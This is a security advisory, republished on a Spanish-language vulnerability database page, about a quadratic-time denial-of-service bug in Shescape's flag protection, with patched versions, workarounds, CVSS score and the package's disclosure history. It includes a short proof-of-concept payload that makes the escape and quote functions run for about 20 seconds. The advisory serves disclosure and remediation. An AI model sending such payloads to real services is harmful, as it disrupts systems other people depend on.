Shescape: Quadratic-time denial of service in the flag-protection
Impact
This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.
An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.
import { Shescape } from "shescape";
// 1. Prerequisites
const options = {
//flagProtection unspecified
// Or
flagProtection: true,
};
// 2. Payload
let payload = "\u0000-".repeat(32000);
// 3. Usage
const shescape = new Shescape(options);
let callback;
callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);
const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000Patches
This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.
If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.
No patches will be released for version of Shescape lower than v2.0.0.
Workarounds
Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.
For more information
- Comment on Pull Request [#2651] for v2 and [#2649] for v3
- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
- Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | shescape | >= 2.1.11, < 2.1.14, >= 3.0.0, < 3.0.1 | 2.1.14, 3.0.1 |
Referencias
- https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87
- https://github.com/ericcornelissen/shescape/pull/2649
- https://github.com/ericcornelissen/shescape/pull/2651
- https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de
- https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f
- https://github.com/ericcornelissen/shescape
- https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md
- https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14
- https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-400, CWE-407- Plataforma
- npm
- Paquete
shescape- Publicada
- 24.07.2026
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-gm3r-q2wp-hw87 - CC BY 4.0
Historial de vulnerabilidades: shescape
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 13
- Primera → última
- 03.2021 07.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 2
- Alta 5
- Media 4
- Baja 2
Divulgaciones por año
- 2021: 1
- 2022: 4
- 2023: 2
- 2024: 0
- 2025: 1
- 2026: 5
-
Shescape: Quadratic-time denial of service in the flag-protection esta entrada
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